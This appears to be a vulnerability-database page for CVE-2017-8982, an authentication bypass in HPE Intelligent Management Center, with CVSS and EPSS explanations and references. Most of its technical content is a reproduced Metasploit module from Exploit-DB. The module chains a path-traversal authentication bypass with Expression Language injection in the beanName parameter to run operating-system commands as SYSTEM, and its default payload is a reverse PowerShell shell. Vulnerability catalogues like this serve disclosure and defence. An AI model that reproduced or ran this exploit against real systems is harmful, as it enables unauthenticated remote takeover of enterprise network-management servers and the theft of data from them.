CVE-2017-8982 : Detail

CVE-2017-8982

7.5
/
High
2.69%V3
Network
2018-02-15
22h00 +00:00
2024-09-17
01h56 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A Remote Authentication Restriction Bypass vulnerability in HPE Intelligent Management Center (iMC) PLAT version 7.3 E0504P4 was found.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44648

Publication date : 2018-05-17 22h00 +00:00
Author : TrendyTofu
EDB Verified : No

# Exploit Title: HPE iMC EL Injection Unauthenticated RCE # Date: 6 February, 2018 # Exploit Author: TrendyTofu # Vendor Homepage: https://www.hpe.com/us/en/home.html # Software Link: http://h10145.www1.hpe.com/Downloads/SoftwareReleases.aspx?ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535 # Version: prior to 7.3 E0504P04 # Tested on: iMC PLAT v7.3 (E0504P02), Windows Server 2012R2 x64 (EN) # CVE : CVE-2017-8982, CVE-2017-12500 # Reference: https://www.thezdi.com/blog/2018/2/6/one-mans-patch-is-another-mans-treasure-a-tale-of-a-failed-hpe-patch Metasploit module also hosted on Github. Posted below for reference: https://raw.githubusercontent.com/thezdi/scripts/master/msf/hp_imc_el_injection_rce.rb ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'HPE iMC EL Injection Unauthenticated RCE', 'Description' => %q{ This module exploits an expression language injection vulnerablity, along with an authentication bypass vulnerability in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04 to achieve remote code execution. The HP iMC server suffers from multiple vulnerabilities allows unauthenticated attacker to execute arbitrary Expression Language via the beanName parameter, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 8080 and 8443 by default. This module has been tested successfully on iMC PLAT v7.3 (E0504P02) on Windows 2k12r2 x64 (EN). }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me', # Discovery 'trendytofu' # Metasploit ], 'References' => [ ['CVE', '2017-8982'], ['ZDI', '18-139'], ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03809en_us'], ['CVE', '2017-12500'], ['ZDI', '17-663'], ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03768en_us'] ], 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Windows', { 'Arch' => [ ARCH_CMD], 'Platform' => 'win' } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 25 2018', 'DefaultOptions' => { 'Payload' => 'cmd/windows/reverse_powershell' }, 'DefaultTarget' => 0)) register_options [Opt::RPORT(8080)] end def check res = send_request_raw({'uri' => '/imc/login.jsf' }) return CheckCode::Detected if res && res.code == 200 CheckCode::Unknown end def get_payload(cmd) %q|facesContext.getExternalContext().redirect(%22%22.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22var%20proc=new%20java.lang.ProcessBuilder[%5C%22(java.lang.String[])%5C%22]([%5C%22cmd.exe%5C%22,%5C%22/c%5C%22,%5C%22|+cmd+%q|%5C%22]).start();%22))| end def execute_command(payload) res = send_request_raw({ 'uri' => "/imc/primepush/%2e%2e/ict/export/ictExpertDownload.xhtml?beanName=#{payload}" }) fail_with(Msf::Module::Failure::UnexpectedReply, "Injection failed") if res && res.code != 302 print_good "Command injected successfully!" end def exploit cmd = payload.encoded cmd.gsub!('cmd.exe /c ','') cmd = Rex::Text.uri_encode(cmd) print_status "Sending payload..." execute_command get_payload cmd end end

Products Mentioned

Configuraton 0

Hp>>Intelligent_management_center >> Version 7.3

References

http://www.securitytracker.com/id/1040283
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44648/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.zerodayinitiative.com/advisories/ZDI-18-139/
Tags : Third Party Advisory, VDB Entry